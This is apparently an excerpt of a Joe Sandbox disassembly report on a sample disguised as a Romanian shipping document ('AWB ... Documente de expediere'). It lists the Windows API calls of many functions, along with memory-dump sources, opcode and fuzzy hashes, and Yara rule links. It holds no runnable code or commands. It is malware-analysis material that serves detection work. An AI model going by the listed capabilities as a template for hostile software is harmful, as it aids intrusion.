                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 009F9320
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 009F9352
                                                • __itow.LIBCMT ref: 009F936A
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 009F9392
                                                • __itow.LIBCMT ref: 009F93A3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$__itow$_memmove
                                                • String ID: @U=u
                                                • API String ID: 2983881199-2594219639
                                                • Opcode ID: 5f96aa5efa1857f2f14648e1d119bc482f2da15d5979d486177bcfdd9f4cfd90
                                                • Instruction ID: 136208ecf024d955c64462b465fc6bab2caf113b5224641cb1cde4ccefbfde2b
                                                • Opcode Fuzzy Hash: 5f96aa5efa1857f2f14648e1d119bc482f2da15d5979d486177bcfdd9f4cfd90
                                                • Instruction Fuzzy Hash: 6921833170020CAFDB10AAA59C86FFE7BADEB89710F044035FA45A7291D6B0895597A2
                                                Function 00A275CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009A1D73
                                                  • Part of subcall function 009A1D35: GetStockObject.GDI32(00000011), ref: 009A1D87
                                                  • Part of subcall function 009A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 009A1D91
                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00A27632
                                                • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00A2763F
                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00A2764A
                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00A27659
                                                • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00A27665
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CreateObjectStockWindow
                                                • String ID: Msctls_Progress32
                                                • API String ID: 1025951953-3636473452
                                                • Opcode ID: f7d37d1707bfd86b297e1b99a41e3781e394db7f91e4941cb3f04b164eccd60c
                                                • Instruction ID: ea82fd3701a10ccad642e707880cb139e77c9875d77e7dfe9e0be5ef8a7d8bee
                                                • Opcode Fuzzy Hash: f7d37d1707bfd86b297e1b99a41e3781e394db7f91e4941cb3f04b164eccd60c
                                                • Instruction Fuzzy Hash: AC11B6B1110129BFEF118F68DC85EEB7F6DFF08798F014124BA04A6090C7729C21DBA4
                                                Function 009C9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __init_pointers.LIBCMT ref: 009C9AE6
                                                  • Part of subcall function 009C3187: EncodePointer.KERNEL32(00000000), ref: 009C318A
                                                  • Part of subcall function 009C3187: __initp_misc_winsig.LIBCMT ref: 009C31A5
                                                  • Part of subcall function 009C3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 009C9EA0
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 009C9EB4
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 009C9EC7
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 009C9EDA
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 009C9EED
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 009C9F00
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 009C9F13
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 009C9F26
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 009C9F39
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 009C9F4C
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 009C9F5F
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 009C9F72
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 009C9F85
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 009C9F98
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 009C9FAB
                                                  • Part of subcall function 009C3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 009C9FBE
                                                • __mtinitlocks.LIBCMT ref: 009C9AEB
                                                • __mtterm.LIBCMT ref: 009C9AF4
                                                  • Part of subcall function 009C9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,009C9AF9,009C7CD0,00A5A0B8,00000014), ref: 009C9C56
                                                  • Part of subcall function 009C9B5C: _free.LIBCMT ref: 009C9C5D
                                                  • Part of subcall function 009C9B5C: DeleteCriticalSection.KERNEL32(00A5EC00,?,?,009C9AF9,009C7CD0,00A5A0B8,00000014), ref: 009C9C7F
                                                • __calloc_crt.LIBCMT ref: 009C9B19
                                                • __initptd.LIBCMT ref: 009C9B3B
                                                • GetCurrentThreadId.KERNEL32 ref: 009C9B42
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                                • String ID:
                                                • API String ID: 3567560977-0
                                                • Opcode ID: 9351149b1ae47457f218125b96ef4130cb60606d5f4877b0ebe90abaf380f595
                                                • Instruction ID: ccf37f7446dd7cd7a8a388cebefa6db21a296b5a66bcbae9ee5347d690121efc
                                                • Opcode Fuzzy Hash: 9351149b1ae47457f218125b96ef4130cb60606d5f4877b0ebe90abaf380f595
                                                • Instruction Fuzzy Hash: 4BF06232D097116AE634BB747C0BF4A3694AF82734B20462EF454994D2EE10994145A7
                                                Function 009C406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,009C3F85), ref: 009C4085
                                                • GetProcAddress.KERNEL32(00000000), ref: 009C408C
                                                • EncodePointer.KERNEL32(00000000), ref: 009C4097
                                                • DecodePointer.KERNEL32(009C3F85), ref: 009C40B2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                • String ID: RoUninitialize$combase.dll
                                                • API String ID: 3489934621-2819208100
                                                • Opcode ID: 6e591e5d118bcea9838917041f873c530db9cb3f2556d7cb52eb590e14c9c9ac
                                                • Instruction ID: cedcbd7b7c84affed4456a4ab8fc90ecc2e0cf31386554203f2c4922b27c6b0b
                                                • Opcode Fuzzy Hash: 6e591e5d118bcea9838917041f873c530db9cb3f2556d7cb52eb590e14c9c9ac
                                                • Instruction Fuzzy Hash: 16E09271A81200EFEF20EFE5ED09B553AB8BB05B82F104639F511E50A0CBB64603CB15
                                                Function 00A064B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove$__itow__swprintf
                                                • String ID:
                                                • API String ID: 3253778849-0
                                                • Opcode ID: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
                                                • Instruction ID: a284e17bb08381a726e6a3e0b38c1755c62ee2b37a2ee326e00d54c245b06e0d
                                                • Opcode Fuzzy Hash: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
                                                • Instruction Fuzzy Hash: 72619A3090064A9BCF05EFA4DC82FFF77A9AF86308F054529F8595B2D2DB35A815CB91
                                                Function 00A201E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 00A20E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1FDAD,?,?), ref: 00A20E31
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A202BD
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A202FD
                                                • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00A20320
                                                • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00A20349
                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A2038C
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A20399
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                • String ID:
                                                • API String ID: 4046560759-0
                                                • Opcode ID: 0135b04fe00e5c4a1cbc5ef0b1312738e1c140f554d6d3054d50c0b9f37bc3a8
                                                • Instruction ID: 8b9a38b06a957d69e8f0acc563b98216c0e839e4216e85d50a82d152b73dcbd5
                                                • Opcode Fuzzy Hash: 0135b04fe00e5c4a1cbc5ef0b1312738e1c140f554d6d3054d50c0b9f37bc3a8
                                                • Instruction Fuzzy Hash: C9511831208204AFC714EB68D985EAFBBF9FF85314F04492DF5559B2A2DB31E905CB92
                                                Function 00A25799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenu.USER32(?), ref: 00A257FB
                                                • GetMenuItemCount.USER32(00000000), ref: 00A25832
                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00A2585A
                                                • GetMenuItemID.USER32(?,?), ref: 00A258C9
                                                • GetSubMenu.USER32(?,?), ref: 00A258D7
                                                • PostMessageW.USER32(?,00000111,?,00000000), ref: 00A25928
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountMessagePostString
                                                • String ID:
                                                • API String ID: 650687236-0
                                                • Opcode ID: fa096c4fd1ab999046027123926cd27e9d32bcff76deb76620a2eced8481d939
                                                • Instruction ID: b24078223f9d712cc029b086a27713b01bfe7e1f3a88601202ec34973f4bc6a0
                                                • Opcode Fuzzy Hash: fa096c4fd1ab999046027123926cd27e9d32bcff76deb76620a2eced8481d939
                                                • Instruction Fuzzy Hash: 1D513B35E00625EFCF11EFA8D845AAEB7B5FF49320F104069E815BB351CB74AE419B91
                                                Function 009FEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 009FEF06
                                                • VariantClear.OLEAUT32(00000013), ref: 009FEF78
                                                • VariantClear.OLEAUT32(00000000), ref: 009FEFD3
                                                • _memmove.LIBCMT ref: 009FEFFD
                                                • VariantClear.OLEAUT32(?), ref: 009FF04A
                                                • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 009FF078
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$Clear$ChangeInitType_memmove
                                                • String ID:
                                                • API String ID: 1101466143-0
                                                • Opcode ID: 056132040e9e2644ace6e585207458fc8a39eea884c5f7e74537529438f512e3
                                                • Instruction ID: 7bc94f2640fee39b126c97ceba795e79f8c922a03356d7fa3340062a30d94804
                                                • Opcode Fuzzy Hash: 056132040e9e2644ace6e585207458fc8a39eea884c5f7e74537529438f512e3
                                                • Instruction Fuzzy Hash: A95169B5A00209EFDB14DF58C890AAAB7B8FF4C314B158569EE59DB301E734E911CFA0
                                                Function 00A0220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A02258
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A022A3
                                                • IsMenu.USER32(00000000), ref: 00A022C3
                                                • CreatePopupMenu.USER32 ref: 00A022F7
                                                • GetMenuItemCount.USER32(000000FF), ref: 00A02355
                                                • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00A02386
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                • String ID:
                                                • API String ID: 3311875123-0
                                                • Opcode ID: c6d035249b99dfe55b81f0fa67ca711daf65c7fc34ec5b36d29c26322e600158
                                                • Instruction ID: 715fbcad597f02e02509b5f22213e5fcbda0f454402ff29fb2fd9254acfe85f2
                                                • Opcode Fuzzy Hash: c6d035249b99dfe55b81f0fa67ca711daf65c7fc34ec5b36d29c26322e600158
                                                • Instruction Fuzzy Hash: 07519970A0030DEBDF21CFA8E98CBAEBBF5AF45314F144129E855AB2D0D3748905CB52
                                                Function 009A1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • BeginPaint.USER32(?,?,?,?,?,?), ref: 009A179A
                                                • GetWindowRect.USER32(?,?), ref: 009A17FE
                                                • ScreenToClient.USER32(?,?), ref: 009A181B
                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 009A182C
                                                • EndPaint.USER32(?,?), ref: 009A1876
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                • String ID:
                                                • API String ID: 1827037458-0
                                                • Opcode ID: e81dc614653ee5fdbedc866186bbb866c6c2885a78df936c60ad6c495a7d7503
                                                • Instruction ID: 4bb7cac7a1222acaa3e714f1c3cffba7daf577f792ea6821581e51dfd66eb807
                                                • Opcode Fuzzy Hash: e81dc614653ee5fdbedc866186bbb866c6c2885a78df936c60ad6c495a7d7503
                                                • Instruction Fuzzy Hash: 06418030904700DFD721DF68CC84BBA7BF8EB46724F144639F9A4872A1C7749846EBA1
                                                Function 00A1709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(?,?,?,?,?,?,00A14E41,?,?,00000000,00000001), ref: 00A170AC
                                                  • Part of subcall function 00A139A0: GetWindowRect.USER32(?,?), ref: 00A139B3
                                                • GetDesktopWindow.USER32 ref: 00A170D6
                                                • GetWindowRect.USER32(00000000), ref: 00A170DD
                                                • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00A1710F
                                                  • Part of subcall function 00A05244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A052BC
                                                • GetCursorPos.USER32(?), ref: 00A1713B
                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00A17199
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                • String ID:
                                                • API String ID: 4137160315-0
                                                • Opcode ID: 15458cc2b137e374c79760a45c4104360615c098a2d38ff4c67d94e62d7de416
                                                • Instruction ID: 024c9bf11a7eb12831dca3570512001b2edfb478ba84aa8af9d784a5c55a0a0b
                                                • Opcode Fuzzy Hash: 15458cc2b137e374c79760a45c4104360615c098a2d38ff4c67d94e62d7de416
                                                • Instruction Fuzzy Hash: 5B31F232508305AFC720DF54D949F9FB7AAFF88314F000A29F58497191CB30EA4ACB92
                                                Function 009F8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009F80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 009F80C0
                                                  • Part of subcall function 009F80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 009F80CA
                                                  • Part of subcall function 009F80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 009F80D9
                                                  • Part of subcall function 009F80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 009F80E0
                                                  • Part of subcall function 009F80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 009F80F6
                                                • GetLengthSid.ADVAPI32(?,00000000,009F842F), ref: 009F88CA
                                                • GetProcessHeap.KERNEL32(00000008,00000000), ref: 009F88D6
                                                • HeapAlloc.KERNEL32(00000000), ref: 009F88DD
                                                • CopySid.ADVAPI32(00000000,00000000,?), ref: 009F88F6
                                                • GetProcessHeap.KERNEL32(00000000,00000000,009F842F), ref: 009F890A
                                                • HeapFree.KERNEL32(00000000), ref: 009F8911
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                • String ID:
                                                • API String ID: 3008561057-0
                                                • Opcode ID: e18bacab58aac9462771435e229d53ab47878ada1eb763b1805b76d265228f65
                                                • Instruction ID: 9d72e9c326052236c0508a8aa3d08e3521adc87d2f3b291ad8c4d4ed7104e78a
                                                • Opcode Fuzzy Hash: e18bacab58aac9462771435e229d53ab47878ada1eb763b1805b76d265228f65
                                                • Instruction Fuzzy Hash: 46119A31611209FFDB60DBA8DC0ABBF7BBCEB45311F508138EA8597210DB729952DB60
                                                Function 009F85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 009F85E2
                                                • OpenProcessToken.ADVAPI32(00000000), ref: 009F85E9
                                                • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 009F85F8
                                                • CloseHandle.KERNEL32(00000004), ref: 009F8603
                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 009F8632
                                                • DestroyEnvironmentBlock.USERENV(00000000), ref: 009F8646
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                • String ID:
                                                • API String ID: 1413079979-0
                                                • Opcode ID: 6bbb4d4e308e282117e607bfe1c992493c6346fa3cfe8e2a26441ea893ec66bf
                                                • Instruction ID: 833a9f081813c85bdb6442b89ab0f6cc3cf135a77d619ebc0100b53e01a8449a
                                                • Opcode Fuzzy Hash: 6bbb4d4e308e282117e607bfe1c992493c6346fa3cfe8e2a26441ea893ec66bf
                                                • Instruction Fuzzy Hash: 7C11367250024DAFDB11CFA8DD49FEA7BA9EB08704F044075BE04A2160C6728E62AB60
                                                Function 009FB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 009FB7B5
                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 009FB7C6
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 009FB7CD
                                                • ReleaseDC.USER32(00000000,00000000), ref: 009FB7D5
                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 009FB7EC
                                                • MulDiv.KERNEL32(000009EC,?,?), ref: 009FB7FE
                                                Memory Dump Source
